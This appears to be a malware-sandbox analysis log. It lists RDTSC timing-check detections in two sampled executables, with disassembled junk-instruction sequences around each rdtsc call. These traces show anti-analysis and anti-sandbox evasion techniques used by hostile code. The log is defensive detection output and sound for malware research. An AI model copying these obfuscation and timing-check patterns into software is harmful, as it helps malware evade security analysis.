Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720291 second address: 5720296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720296 second address: 57202E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0A0CDBB9C5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F0A0CDBB9C6h 0x00000017 or cx, AE78h 0x0000001c jmp 00007F0A0CDBB9BBh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572036F second address: 5720375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720375 second address: 5720379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720379 second address: 572039E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, 26h 0x0000000f push edi 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, dx 0x0000001a mov bl, CDh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572039E second address: 57203BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203BA second address: 57203CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203F8 second address: 57203FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203FC second address: 572040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572040F second address: 5720460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov ax, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F0A0CDBB9BAh 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov eax, edx 0x0000001a pushfd 0x0000001b jmp 00007F0A0CDBB9C9h 0x00000020 add si, F376h 0x00000025 jmp 00007F0A0CDBB9C1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720460 second address: 5720467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720467 second address: 5720486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007F0A0CDBB9BFh 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720486 second address: 572048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572048A second address: 57204A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57204A5 second address: 57204AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57205AE second address: 57205CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57205CB second address: 57205CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57205CF second address: 57205D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57205D3 second address: 57205D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57205D9 second address: 5720610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0A0CDBB9C0h 0x00000009 and ecx, 705C3528h 0x0000000f jmp 00007F0A0CDBB9BBh 0x00000014 popfd 0x00000015 movzx ecx, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov al, byte ptr [edx] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 mov bx, ax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720610 second address: 5720610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e pushfd 0x0000000f jmp 00007F0A0CDE9D21h 0x00000014 sub esi, 2536F6A6h 0x0000001a jmp 00007F0A0CDE9D21h 0x0000001f popfd 0x00000020 popad 0x00000021 test al, al 0x00000023 jmp 00007F0A0CDE9D1Eh 0x00000028 jne 00007F0A0CDE9CB2h 0x0000002e mov al, byte ptr [edx] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 mov bx, ax 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720677 second address: 572067B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572067B second address: 5720681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720681 second address: 572072A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c mov bx, 05F2h 0x00000010 jmp 00007F0A0CDBB9C3h 0x00000015 popad 0x00000016 mov edi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a call 00007F0A0CDBB9C4h 0x0000001f pushfd 0x00000020 jmp 00007F0A0CDBB9C2h 0x00000025 jmp 00007F0A0CDBB9C5h 0x0000002a popfd 0x0000002b pop esi 0x0000002c call 00007F0A0CDBB9C1h 0x00000031 pop ebx 0x00000032 popad 0x00000033 dec edi 0x00000034 jmp 00007F0A0CDBB9BAh 0x00000039 lea ebx, dword ptr [edi+01h] 0x0000003c jmp 00007F0A0CDBB9C0h 0x00000041 mov al, byte ptr [edi+01h] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572072A second address: 572072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572072E second address: 5720734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720734 second address: 572078D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0A0CDE9D1Eh 0x00000009 xor ecx, 78FBBA88h 0x0000000f jmp 00007F0A0CDE9D1Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 inc edi 0x00000019 jmp 00007F0A0CDE9D26h 0x0000001e test al, al 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0A0CDE9D27h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572078D second address: 5720793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720793 second address: 5720797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720797 second address: 572079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572079B second address: 57207B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F0A7D8F1FF2h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop edi 0x00000013 mov ecx, 52029FDBh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57207B4 second address: 5720807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F0A0CDBB9BEh 0x00000010 shr ecx, 02h 0x00000013 jmp 00007F0A0CDBB9C0h 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F0A0CDBB9C7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720807 second address: 57208BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c pushad 0x0000000d mov di, 6ADCh 0x00000011 popad 0x00000012 mov ecx, edi 0x00000014 popad 0x00000015 and ecx, 03h 0x00000018 jmp 00007F0A0CDE9D27h 0x0000001d rep movsb 0x0000001f jmp 00007F0A0CDE9D26h 0x00000024 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002b pushad 0x0000002c mov edi, ecx 0x0000002e mov ch, 9Fh 0x00000030 popad 0x00000031 mov eax, ebx 0x00000033 pushad 0x00000034 push edx 0x00000035 mov cl, 10h 0x00000037 pop edx 0x00000038 mov dx, ax 0x0000003b popad 0x0000003c mov ecx, dword ptr [ebp-10h] 0x0000003f jmp 00007F0A0CDE9D22h 0x00000044 mov dword ptr fs:[00000000h], ecx 0x0000004b jmp 00007F0A0CDE9D20h 0x00000050 pop ecx 0x00000051 jmp 00007F0A0CDE9D20h 0x00000056 pop edi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57208BE second address: 57208C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57208C2 second address: 57208C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57208C6 second address: 57208CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57208CC second address: 5720904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 07257C51h 0x00000008 call 00007F0A0CDE9D1Eh 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop esi 0x00000012 pushad 0x00000013 mov si, dx 0x00000016 jmp 00007F0A0CDE9D23h 0x0000001b popad 0x0000001c pop ebx 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720904 second address: 57204ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F0A0CDBB9C0h 0x0000000a and ax, F238h 0x0000000f jmp 00007F0A0CDBB9BBh 0x00000014 popfd 0x00000015 popad 0x00000016 mov ecx, 6305306Fh 0x0000001b popad 0x0000001c leave 0x0000001d jmp 00007F0A0CDBB9C2h 0x00000022 retn 0008h 0x00000025 cmp dword ptr [ebp-2Ch], 10h 0x00000029 mov eax, dword ptr [ebp-40h] 0x0000002c jnc 00007F0A0CDBB9B5h 0x0000002e push eax 0x0000002f lea edx, dword ptr [ebp-00000590h] 0x00000035 push edx 0x00000036 call esi 0x00000038 push 00000008h 0x0000003a jmp 00007F0A0CDBB9C6h 0x0000003f push 2F458403h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F0A0CDBB9BCh 0x0000004b rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1164868 second address: 116486E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 116486E second address: 1164879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0A0CDBB9B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1164879 second address: 1164880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1164880 second address: 1164886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11639EE second address: 11639F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11639F3 second address: 1163A0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F0A0CDBB9B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F0A0CDBB9B6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163A0A second address: 1163A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F0A0CDE9D16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163A19 second address: 1163A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163CB6 second address: 1163CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007F0A0CDE9D16h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163CC7 second address: 1163CEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0A0CDBB9BAh 0x00000008 jmp 00007F0A0CDBB9C0h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F0A0CDBB9B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163CEF second address: 1163CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1163CF3 second address: 1163CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1164133 second address: 1164137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1167336 second address: 11673B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 504A4641h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F0A0CDBB9B8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a sub dword ptr [ebp+122D27D3h], ebx 0x00000030 push 00000003h 0x00000032 and dl, 00000064h 0x00000035 push 00000000h 0x00000037 mov edx, dword ptr [ebp+122D3809h] 0x0000003d xor edx, 38D59F73h 0x00000043 push 00000003h 0x00000045 xor esi, dword ptr [ebp+122D3A95h] 0x0000004b call 00007F0A0CDBB9B9h 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F0A0CDBB9BFh 0x00000057 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11673B6 second address: 116741B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0A0CDE9D1Eh 0x00000008 jnl 00007F0A0CDE9D16h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jbe 00007F0A0CDE9D22h 0x00000019 jmp 00007F0A0CDE9D1Ch 0x0000001e jmp 00007F0A0CDE9D1Ah 0x00000023 popad 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 push eax 0x00000029 push edi 0x0000002a jmp 00007F0A0CDE9D28h 0x0000002f pop edi 0x00000030 pop eax 0x00000031 mov eax, dword ptr [eax] 0x00000033 push eax 0x00000034 push edx 0x00000035 jp 00007F0A0CDE9D18h 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1167519 second address: 116751D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 116751D second address: 1167521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11676F3 second address: 1167720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jp 00007F0A0CDBB9CAh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F0A0CDBB9B6h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1178AF7 second address: 1178AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186730 second address: 1186754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F0A0CDBB9BDh 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F0A0CDBB9B6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186A54 second address: 1186A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDE9D1Ah 0x00000007 ja 00007F0A0CDE9D1Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F0A0CDE9D30h 0x00000015 jng 00007F0A0CDE9D18h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jnp 00007F0A0CDE9D16h 0x00000025 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186BE5 second address: 1186BEF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0A0CDBB9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186BEF second address: 1186BF9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0A0CDE9D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186FEA second address: 1186FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1186FF0 second address: 1187006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0A0CDE9D21h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1187006 second address: 118700B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118700B second address: 1187013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118716F second address: 1187173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1187173 second address: 118717F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118717F second address: 1187183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1187183 second address: 1187189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 11875E6 second address: 11875EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1187728 second address: 118772C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118772C second address: 1187786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0A0CDBB9BBh 0x00000007 jno 00007F0A0CDBB9B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F0A0CDBB9C8h 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 jnl 00007F0A0CDBB9B8h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 js 00007F0A0CDBB9B6h 0x00000028 jmp 00007F0A0CDBB9C5h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1187786 second address: 118778B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 117EBDD second address: 117EBE6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 1188131 second address: 118813B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0A0CDE9D16h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118CF7E second address: 118CF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118CF82 second address: 118CF86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118D39B second address: 118D3A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 118E7D6 second address: 118E7F7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0A0CDE9D22h 0x00000008 jnp 00007F0A0CDE9D16h 0x0000000e jc 00007F0A0CDE9D16h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F0A0CDE9D16h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	RDTSC instruction interceptor: First address: 114B75F second address: 114B764 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
